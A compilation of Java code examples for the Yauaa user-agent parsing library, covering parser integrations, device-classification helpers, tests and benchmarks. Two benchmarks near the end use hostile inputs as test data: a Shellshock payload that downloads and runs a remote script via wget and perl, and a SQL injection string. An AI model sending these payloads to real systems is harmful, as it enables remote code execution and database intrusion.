nl.basjes.parse.useragent.UserAgent Java Examples

@Override
public void dissect(Parsable<?> parsable, String inputname) throws DissectionFailure {
    final ParsedField agentField = parsable.getParsableField(INPUT_TYPE, inputname);

    String userAgentString = agentField.getValue().getString();

    if (userAgentString == null) {
        return;  // Weird, but it happens
    }

    UserAgent agent = userAgentAnalyzer.parse(userAgentString);

    for (String fieldName : requestedFieldNames) {
        parsable.addDissection(inputname, getFieldOutputType(fieldName), fieldNameToDissectionName(fieldName), agent.getValue(fieldName));
    }
}
 

private static void printAgent(OutputFormat outputFormat, List<String> fields, UserAgent agent) {
    switch (outputFormat) {
        case CSV:
            boolean doSeparator = false;
            for (String field : fields) {
                if (doSeparator) {
                    System.out.print("\t");
                } else {
                    doSeparator = true;
                }
                String value = agent.getValue(field);
                if (value != null) {
                    System.out.print(value);
                }
            }
            System.out.println();
            break;
        case JSON:
            System.out.println(agent.toJson(fields));
            break;
        case YAML:
            System.out.println(agent.toYamlTestCase());
            break;
        default:
    }
}
 

private void addBugReportButton(StringBuilder sb, UserAgent userAgent) {
    // https://github.com/nielsbasjes/yauaa/issues/new?title=Bug%20report&body=bar

    try {
        StringBuilder reportUrl = new StringBuilder("https://github.com/nielsbasjes/yauaa/issues/new?title=Bug%20report&body=");

        String report = "I found a problem with this useragent.\n" +
            "[Please update the output below to match what you expect it should be]\n" +
            "\n```\n" +
            userAgent.toYamlTestCase().replaceAll(" +:", "  :") +
            "\n```\n";

        reportUrl.append(URLEncoder.encode(report, "UTF-8"));
        String githubUrl = "https://github.com/login?return_to=" + URLEncoder.encode(reportUrl.toString(), "UTF-8");
        sb.append("If you find a problem with this result then please report a bug here: " +
            "<a href=\"").append(githubUrl).append("\">Yauaa issue report</a>");
    } catch (UnsupportedEncodingException e) {
        // Never happens.
    }
}
 

@Override
public Collection<Event> filter(Collection<Event> events, FilterMatchListener filterMatchListener) {
    for (Event event : events) {
        Object rawField = event.getField(sourceField);
        if (rawField instanceof String) {
            String userAgentString = (String)rawField;

            UserAgent agent = userAgentAnalyzer.parse(userAgentString);

            for (String fieldName : requestedFieldNames) {
                event.setField(outputFields.get(fieldName), agent.getValue(fieldName));
            }
        }
    }
    return events;
}
 

@Override
public void onTrigger(ProcessContext context, ProcessSession session) throws ProcessException { // NOSONAR: Explicitly name the exception
    FlowFile flowFile = session.get();
    String userAgentString = flowFile.getAttribute(USERAGENTSTRING_ATTRIBUTENAME);
    if (userAgentString == null) {
        session.transfer(flowFile, MISSING);
    } else {
        UserAgent userAgent = uaa.parse(userAgentString);
        for (String fieldName : extractFieldNames) {
            String fieldValue = userAgent.getValue(fieldName);
            flowFile = session.putAttribute(flowFile, ATTRIBUTE_PREFIX + fieldName, fieldValue);
        }
        session.transfer(flowFile, SUCCESS);
    }
    session.commit();
}
 

@Override
public Object evaluate(DeferredObject[] args) throws HiveException {
    String userAgentString = useragentOI.getPrimitiveJavaObject(args[0].get());

    if (userAgentString == null) {
        return null;
    }

    UserAgent userAgent = userAgentAnalyzer.parse(userAgentString);
    List<Object> result = new ArrayList<>(fieldNames.size());
    for (String fieldName : fieldNames) {
        String value = userAgent.getValue(fieldName);
        if (value == null) {
            result.add(null);
        } else {
            result.add(new Text(value));
        }
    }
    return result.toArray();
}
 

public T map(T record) {
    if (record == null) {
        return null;
    }
    if (mapper == null) {
        throw new InvalidParserConfigurationException("[Map] The mapper instance is null.");
    }

    UserAgent userAgent = userAgentAnalyzer.parse(mapper.getUserAgentString(record));

    for (Map.Entry<String, List<Method>> fieldSetter : fieldSetters.entrySet()) {
        String value = userAgent.getValue(fieldSetter.getKey());
        for (Method method : fieldSetter.getValue()) {
            try {
                method.invoke(mapper, record, value);
            } catch (IllegalAccessException | InvocationTargetException e) {
                throw new InvalidParserConfigurationException("A problem occurred while calling the requested setter", e);
            }
        }
    }
    return record;
}
 

public static DeviceClass getDeviceClass(UserAgent userAgent) {
    switch (userAgent.getValue(DEVICE_CLASS)) {
        case "Desktop":                return DESKTOP;
        case "Anonymized":             return ANONYMIZED;
        case "Mobile":                 return MOBILE;
        case "Tablet":                 return TABLET;
        case "Phone":                  return PHONE;
        case "Watch":                  return WATCH;
        case "Virtual Reality":        return VIRTUAL_REALITY;
        case "eReader":                return E_READER;
        case "Set-top box":            return SET_TOP_BOX;
        case "TV":                     return TV;
        case "Game Console":           return GAME_CONSOLE;
        case "Handheld Game Console":  return HANDHELD_GAME_CONSOLE;
        case "Robot":                  return ROBOT;
        case "Robot Mobile":           return ROBOT_MOBILE;
        case "Robot Imitator":         return ROBOT_IMITATOR;
        case "Hacker":                 return HACKER;
        case "Unknown":                return UNKNOWN;
        default:                       return UNCLASSIFIED;
    }
}
 

@Test
public void testLoadOnlyCompanyCustomFormatRules() {
    UserAgentAnalyzer userAgentAnalyzer =
        UserAgentAnalyzer
            .newBuilder()
            .withoutCache()
            .hideMatcherLoadStats()
            .dropDefaultResources()
            .addResources("CompanyInternalUserAgents.yaml")
            .withFields("ApplicationName", "ApplicationVersion")
            .withFields(Arrays.asList("ApplicationInstance", "ApplicationGitCommit"))
            .withField("ServerName")
            .build();

    UserAgent parsedAgent = userAgentAnalyzer.parse(
        "TestApplication/1.2.3 (node123.datacenter.example.nl; 1234; d71922715c2bfe29343644b14a4731bf5690e66e)");

    // The requested fields
    assertEquals("TestApplication",                          parsedAgent.getValue("ApplicationName"));
    assertEquals("1.2.3",                                    parsedAgent.getValue("ApplicationVersion"));
    assertEquals("1234",                                     parsedAgent.getValue("ApplicationInstance"));
    assertEquals("d71922715c2bfe29343644b14a4731bf5690e66e", parsedAgent.getValue("ApplicationGitCommit"));
    assertEquals("node123.datacenter.example.nl",            parsedAgent.getValue("ServerName"));
}
 

@Test
public void testLoadOnlyCustomRules() {
    UserAgentAnalyzer userAgentAnalyzer =
        UserAgentAnalyzer
            .newBuilder()
            .withoutCache()
            .hideMatcherLoadStats()
            .addResources("ExtraLoadedRule1.yaml")
            .withField("ExtraValue2")
            .withField("ExtraValue1")
            .addResources("ExtraLoadedRule2.yaml")
            .build();

    UserAgent parsedAgent = userAgentAnalyzer.parse("Mozilla/5.0 (Linux; Android 7.0; Nexus 6 Build/NBD90Z) " +
        "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.124 Mobile Safari/537.36");

    // The requested fields
    assertEquals("One",    parsedAgent.getValue("ExtraValue1" ));
    assertEquals("Two",    parsedAgent.getValue("ExtraValue2" ));
}
 

@Test
public void testLoadAdditionalRules() {
    UserAgentAnalyzer userAgentAnalyzer =
        UserAgentAnalyzer
            .newBuilder()
            .withField("DeviceClass")
            .withoutCache()
            .hideMatcherLoadStats()
            .addResources("ExtraLoadedRule1.yaml")
            .withField("ExtraValue2")
            .withField("ExtraValue1")
            .addResources("ExtraLoadedRule2.yaml")
            .build();

    UserAgent parsedAgent = userAgentAnalyzer.parse("Mozilla/5.0 (Linux; Android 7.0; Nexus 6 Build/NBD90Z) " +
        "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.124 Mobile Safari/537.36");

    // The requested fields
    assertEquals("Phone",  parsedAgent.getValue("DeviceClass" ));
    assertEquals("One",    parsedAgent.getValue("ExtraValue1" ));
    assertEquals("Two",    parsedAgent.getValue("ExtraValue2" ));
}
 

@Override
public IngestDocument execute(IngestDocument ingestDocument) {
    String content = ingestDocument.getFieldValue(field, String.class);

    UserAgent userAgent = uaa.parse(content);

    Map<String, String> resultMap = userAgent.toMap();
    resultMap.remove(USERAGENT_FIELDNAME);
    ingestDocument.setFieldValue(targetField, resultMap);
    return ingestDocument;
}
 

@Override
public Tuple exec(Tuple tuple) throws IOException {
    initialize();
    String userAgentString = (String) tuple.get(0);

    UserAgent agent = analyzer.parse(userAgentString);
    Tuple result = TUPLE_FACTORY.newTuple();
    for (String fieldName: requestedFields) {
        result.append(agent.getValue(fieldName));
    }
    return result;
}
 

private void doTest(Triple<Counter, String, String> test) {

        long start = System.nanoTime();
        UserAgent agent = uaa.parse(test.getRight());
        long stop = System.nanoTime();
        if(agent.getValue("DeviceClass") == null) {
            LOG.error("This should not happen, yet we keep this test to avoid the parse being optimized out.");
        }

        test.getLeft().increment((double)(stop - start));
    }
 

private void runTestCase(AbstractUserAgentAnalyzerDirect userAgentAnalyzer) {
        UserAgent parsedAgent = userAgentAnalyzer.parse("Mozilla/5.0 (Linux; Android 7.0; Nexus 6 Build/NBD90Z) " +
            "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.124 Mobile Safari/537.36");

        LoggerFactory.getLogger(TestBuilder.class).info("{}", parsedAgent.toYamlTestCase(true));

        // The requested fields
        assertEquals("Phone",                    parsedAgent.getValue("DeviceClass"              )); // Phone
        assertEquals("Chrome 53",                parsedAgent.getValue("AgentNameVersionMajor"    )); // Chrome 53

        // The fields that are internally needed to build the requested fields
        assertEquals("Chrome",                   parsedAgent.getValue("AgentName"                )); // Chrome
        assertEquals("53.0.2785.124",            parsedAgent.getValue("AgentVersion"             )); // 53.0.2785.124
        assertEquals("53",                       parsedAgent.getValue("AgentVersionMajor"        )); // 53

        // The rest must be the default value (i.e. no rules fired)
// FIXME:
//        assertTrue(parsedAgent.get("DeviceName"                   ).isDefaultValue()); // Nexus 6
//        assertTrue(parsedAgent.get("DeviceBrand"                  ).isDefaultValue()); // Google
//        assertTrue(parsedAgent.get("OperatingSystemClass"         ).isDefaultValue()); // Mobile
//        assertTrue(parsedAgent.get("OperatingSystemName"          ).isDefaultValue()); // Android
//        assertTrue(parsedAgent.get("OperatingSystemVersion"       ).isDefaultValue()); // 7.0
//        assertTrue(parsedAgent.get("OperatingSystemNameVersion"   ).isDefaultValue()); // Android 7.0
//        assertTrue(parsedAgent.get("OperatingSystemVersionBuild"  ).isDefaultValue()); // NBD90Z
//        assertTrue(parsedAgent.get("LayoutEngineClass"            ).isDefaultValue()); // Browser
//        assertTrue(parsedAgent.get("LayoutEngineName"             ).isDefaultValue()); // Blink
//        assertTrue(parsedAgent.get("LayoutEngineVersion"          ).isDefaultValue()); // 53.0
//        assertTrue(parsedAgent.get("LayoutEngineVersionMajor"     ).isDefaultValue()); // 53
//        assertTrue(parsedAgent.get("LayoutEngineNameVersion"      ).isDefaultValue()); // Blink 53.0
//        assertTrue(parsedAgent.get("LayoutEngineNameVersionMajor" ).isDefaultValue()); // Blink 53
//        assertTrue(parsedAgent.get("AgentClass"                   ).isDefaultValue()); // Browser
//        assertTrue(parsedAgent.get("AgentNameVersion"             ).isDefaultValue()); // Chrome 53.0.2785.124
    }
 

/**
 * @param userAgent The instance that needs to be classified.
 * @return If this is probably a human using the device.
 */
public static boolean isHuman(UserAgent userAgent) {
    switch (getDeviceClass(userAgent)) {
        case DESKTOP:
        case MOBILE:
        case TABLET:
        case PHONE:
        case WATCH:
        case VIRTUAL_REALITY:
        case E_READER:
        case SET_TOP_BOX:
        case TV:
        case GAME_CONSOLE:
        case HANDHELD_GAME_CONSOLE:
        case ANONYMIZED:
            return true;

        case ROBOT:
        case ROBOT_MOBILE:
        case ROBOT_IMITATOR:
        case HACKER:
        case UNKNOWN:
        case UNCLASSIFIED:
        default:
            return false;
    }
}
 

/**
 * @param userAgent The instance that needs to be classified.
 * @return Is this a 'mobile' device. (includes robots that want to be treated as mobile)
 */
public static boolean isMobile(UserAgent userAgent) {
    switch (getDeviceClass(userAgent)) {
        case MOBILE:
        case TABLET:
        case PHONE:
        case WATCH:
        case VIRTUAL_REALITY:
        case E_READER:
        case HANDHELD_GAME_CONSOLE:
        case ROBOT_MOBILE:
            return true;

        case DESKTOP:
        case SET_TOP_BOX:
        case TV:
        case GAME_CONSOLE:
        case ANONYMIZED:
        case ROBOT:
        case ROBOT_IMITATOR:
        case HACKER:
        case UNKNOWN:
        case UNCLASSIFIED:
        default:
            return false;
    }
}
 

/**
 * @param userAgent The instance that needs to be classified.
 * @return Is this a 'normal' consumer device that can simply be bought/downloaded and used as intended.
 */
public static boolean isNormalConsumerDevice(UserAgent userAgent) {
    switch (getDeviceClass(userAgent)) {
        case DESKTOP:
        case MOBILE:
        case TABLET:
        case PHONE:
        case WATCH:
        case VIRTUAL_REALITY:
        case E_READER:
        case SET_TOP_BOX:
        case TV:
        case GAME_CONSOLE:
        case HANDHELD_GAME_CONSOLE:
            return true;

        case ANONYMIZED:
        case ROBOT:
        case ROBOT_MOBILE:
        case ROBOT_IMITATOR:
        case HACKER:
        case UNKNOWN:
        case UNCLASSIFIED:
        default:
            return false;
    }
}
 

@Test
public void testParser() {
    Demo demo = new Demo();

    String userAgent = "Mozilla/5.0 (Linux; Android 7.0; Nexus 6 Build/NBD90Z) " +
        "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.124 Mobile Safari/537.36";

    UserAgent result  = demo.parse(userAgent);

    assertTrue(result.toXML().contains("<DeviceName>Google Nexus 6</DeviceName>"),
        "The parser must extract the correct DeviceName");
}
 

boolean analyzeMatchersResult() {
    boolean passed = true;
    for (String fieldName : getAvailableFieldNamesSorted()) {
        Map<Long, String> receivedValues = new HashMap<>(32);
        for (Pair<UserAgent, Matcher> pair: appliedMatcherResults) {
            UserAgent result = pair.getLeft();
            AgentField partialField = result.get(fieldName);
            if (partialField != null && partialField.getConfidence() >= 0) {
                String previousValue = receivedValues.get(partialField.getConfidence());
                if (previousValue != null) {
                    if (!previousValue.equals(partialField.getValue())) {
                        if (passed) {
                            LOG.error("***********************************************************");
                            LOG.error("***        REALLY IMPORTANT ERRORS IN THE RULESET       ***");
                            LOG.error("*** YOU MUST CHANGE THE CONFIDENCE LEVELS OF YOUR RULES ***");
                            LOG.error("***********************************************************");
                        }
                        passed = false;
                        LOG.error("Found different value for \"{}\" with SAME confidence {}: \"{}\" and \"{}\"",
                            fieldName, partialField.getConfidence(), previousValue, partialField.getValue());
                    }
                } else {
                    receivedValues.put(partialField.getConfidence(), partialField.getValue());
                }
            }
        }
    }
    return passed;
}
 

/**
 * @param userAgent The instance that needs to be classified.
 * @return Do we see this as deliberate misuse?
 */
public static boolean isDeliberateMisuse(UserAgent userAgent) {
    switch (getDeviceClass(userAgent)) {
        case ANONYMIZED:
        case ROBOT_IMITATOR:
        case HACKER:
            return true;

        case DESKTOP:
        case MOBILE:
        case TABLET:
        case PHONE:
        case WATCH:
        case VIRTUAL_REALITY:
        case E_READER:
        case SET_TOP_BOX:
        case TV:
        case GAME_CONSOLE:
        case HANDHELD_GAME_CONSOLE:
        case ROBOT:
        case ROBOT_MOBILE:
        case UNKNOWN:
        case UNCLASSIFIED:
        default:
            return false;
    }
}
 

@Benchmark
public UserAgent iPad(ThreadState state) {
    return state.uaa.parse("Mozilla/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) " +
        "Version/9.0 Mobile/13F69 Safari/601.1");
}
 

public UserAgent parse(String userAgent) {
    return uaa.parse(userAgent);
}
 

String toMatchTrace(List<String> highlightNames) {
        StringBuilder sb = new StringBuilder(4096);
        sb.append('\n');
        sb.append("+=========================================+\n");
        sb.append("| Matcher results that have been combined |\n");
        sb.append("+=========================================+\n");
        sb.append('\n');

        appliedMatcherResults.sort((o1, o2) -> {
            Matcher m1 = o1.getValue();
            Matcher m2 = o2.getValue();
            return m1.getMatcherSourceLocation().compareTo(m2.getMatcherSourceLocation());
        });

        for (Pair<UserAgent, Matcher> pair: appliedMatcherResults){
            sb.append('\n');
            sb.append("+================\n");
            sb.append("+ Applied matcher\n");
            sb.append("+----------------\n");
            UserAgent result = pair.getLeft();
            Matcher matcher = pair.getRight();
            sb.append(matcher.toString());
            sb.append("+----------------\n");
            sb.append("+ Results\n");
            sb.append("+----------------\n");
            for (String fieldName : result.getAvailableFieldNamesSorted()) {
                AgentField field = result.get(fieldName);

//                if (field == null) {
//                    LOG.error("Should not happen: No such field: {}", fieldName);
//                } else {
                if (field.getConfidence() >= 0) {
                    String marker = "";
                    if (highlightNames.contains(fieldName)) {
                        marker = " <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<";
                    }
                    sb.append("| ").append(fieldName).append('(').append(field.getConfidence());
                    if (field.isDefaultValue()) {
                        sb.append(" => isDefaultValue");
                    }
                    sb.append(") = ").append(field.getValue()).append(marker).append('\n');
                }
//                }
            }
            sb.append("+================\n");
        }
        return sb.toString();
    }
 

public UserAgent parse(String userAgentString) {
    MutableUserAgent userAgent = new MutableUserAgent(userAgentString);
    return parseIntoCleanUserAgent(userAgent);
}
 

@Benchmark
public UserAgent hackerShellShock(ThreadState state) {
    return state.uaa.parse("() { :;}; /bin/bash -c \\\"\"wget -O /tmp/bbb ons.myftp.org/bot.txt; perl /tmp/bbb\\\"\"");
}
 

@Benchmark
public UserAgent hackerSQL(ThreadState state) {
    return state.uaa.parse("-8434))) OR 9695 IN ((CHAR(113)+CHAR(107)+CHAR(106)+CHAR(118)+CHAR(113)+(SELECT " +
        "(CASE WHEN (9695=9695) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(118)+CHAR(118)+CHAR(113))) AND (((4283=4283");
}
 

@Benchmark
public UserAgent win10IE11(ThreadState state) {
    return state.uaa.parse("Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
}
 

@Benchmark
public UserAgent win10Chrome51(ThreadState state) {
    return state.uaa.parse("Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) " +
        "Chrome/51.0.2704.103 Safari/537.36");
}
 

@Benchmark
public UserAgent win10Edge13(ThreadState state) {
    return state.uaa.parse("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) " +
        "Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586");
}